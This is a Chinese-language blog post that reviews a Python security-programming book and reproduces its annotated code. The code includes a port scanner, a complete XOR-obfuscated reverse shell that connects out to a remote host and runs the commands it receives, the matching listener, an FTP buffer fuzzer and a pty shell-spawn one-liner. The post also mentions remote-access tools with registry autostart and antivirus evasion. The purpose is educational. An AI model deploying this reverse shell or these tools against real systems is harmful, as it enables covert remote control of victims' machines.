读本好书 《Python 安全编程教程》

《读本好书》Python 安全编程教程

已经地几本了,鼓励一下自己啦。这本主要是讲 python 用于安全相关的编程内容。本书的篇幅比较的短,这篇总结一下主要的内容。


我们是愚者,我们是一只蜂 1.6*10^9 > 1.6*10^9 ,我们自己根据蓝图所画出的东西,超乎我们自己的想象。

简介


这是一本技术类书籍,主要内容是 Python 相关的安全类的书。

入门

  • 使用 help 函数,可以很方便的查看函数的相关说明

端口扫描

简单的端口扫描功能,使用 socket 进行连接的建立,如果连接失败,代表端口未开放。这个效率当然是比较低的。一般是只是用 SYN 得到 ACK 之后就直接结束会话。

1
2
3
4
5
6
7
8
9
10
for port in range(20,25):
try:
print "[+] Attempting to connect to 127.0.0.1:"+str(port)
s.connect(('127.0.0.1', port))
s.send('Primal Security \n')
banner = s.recv(1024)
if banner:
print "[+] Port "+str(port)+" open: "+banner
s.close()
except: pass

书中的示例代码如上:上面对于未打开端口,捕获其异常。不做任何操作。在循环中轮询端口,建立连接,

反向Shell

Shell 是个耳熟的,分两个类型,正向Shell反向Shell。 分别为 reversebind 。正向shell 可以理解为,客户端打开了一个端口,我们组主动连接客户端。 反向shell 指的是,我们本地打开端口,让受控的客户端去连接我们。


具体的代码,书中已经给出了,内容简单易读,这里加上些注释吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python

import socket,subprocess,sys

RHOST = sys.argv[1]
RPORT = 443

# 这里就是刚刚所说的反向连接的特征,去连接远程的主机
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# 这里没有做连接尝试和异常处理还是不行的
while True:
# 从socket中接收XOR编码的数据 < 这里学着点,使用了简单的异或加密。
data = s.recv(1024)

# XOR the data again with a '\x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^=0x41 # 异或操作

# 执行解码命令,subprocess模块能够通过PIPE STDOUT/STDERR/STDIN把值赋值给一个变量
comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()

# 输出编码后的数据并且发送给指定的主机RHOST
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^=0x41
s.send(en_STDOUT)
s.close()

上面的代码其实是很简单的。建立连接之后,对我们的的远程的传入命令进行执行。这里一个 point 是: subprocess 的模块的使用。

subprocessos.system 不同,前者可以把输出进行向变量的重定向。可以得到命令执行吼的完整的回显。然而如果使用 后者 ,只会得到 其进程 返回值, 值得注意的是,system 的返回值是 linux 的标准的左移 8位 后的值。


发送部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import socket

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
# 打开本地端口进行监听

print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip

while True:
command = raw_input('~$ ') # 等待输入和打印提示符
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)

for i in range(len(decode)):
decode[i] ^=0x41
# 解码并且进行打印。
print decode

client.close()
s.close()

模糊测试 (fuzzing)

模糊测试 是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言失败,以发现可能的程序错误,比如内存泄漏。

基于 python 实现的模糊测试的脚本。具体思想,就是提交大量的随机模拟输入,来发现系统的潜在的问题。实现思想就是,模拟用户提交,发现问题之后进行上报。书中的代码如下,一样是是自己去添加一些注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#导入你将要使用的模块,这样你就不用去自己实现那些功能函数了
import sys, socket
from time import sleep

#声明第一个变量target用来接收从命令端输入的第一个值
target = sys.argv[1]
#创建50个A的字符串 '\x41'
buff = '\x41'*50

# 使用循环来递增至声明buff变量的长度50
while True:
#使用"try - except"处理错误与动作
try:
# 连接这目标主机的ftp端口 21
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target,21))
s.recv(1024)

print "Sending buffer with length: "+str(len(buff))
#发送字符串:USER并且带有测试的用户名
s.send("USER "+buff+"\r\n")
s.close()
sleep(1)
#使用循环来递增直至长度为50
buff = buff + '\x41'*50

except: # 如果连接服务器失败,我们就打印出下面的结果
print "[+] Crash occured with buffer length: "+str(len(buff)-50)
sys.exit()

emmm 这个其实也是没啥好注释的了,内容简单明了,算是点开了一种妙用。

内容压缩

  • py2exe 把python 文件打包成一个 exe 进行发布
  • Web 请求及解析 Beautiful Soup和urllib/urllib2
  • 爬虫 spider模块 有现成的模块可以用啦 from spider import webspider as myspider
  • Whois自动查询 Whois 模块
  • Python 与 Metasploit

  • 虚拟终端 和 反向shell 不同,终端是用于直接打开一个 终端程序 python -c "import pty;pty.spawn("/bin/bash")"

  • 基于 Python 的远控 这个东西虽然有 py2exe 感觉还是比较鸡肋吧,实现了添加注册表自启动,和弹shell的功能,不过有时候 之前用的 veil 也是使用的 python 做的免杀。

EXP的编写

这里书中列出了几个简易的 EXP 的脚本,是一件被挖掘的 RCE (远程代码执行), 和 LFI (本地文件包含) 的漏洞。实现的是 poc 的改变实现的功能,漏洞本身原理,还是有待挖掘的。这里就简单的先列出来吧,做个小表格,对漏洞有个基础的了解。

CVE 类型
CVE-2014-6271 bash 远程代码执行
CVE-2012-1823 php-cgi 远程代码执行
CVE-2014-3704 SQL 注入
CVE-2012-3152 Oracle本地文件包含
-------------本文结束感谢您的阅读-------------
Thanks anyway!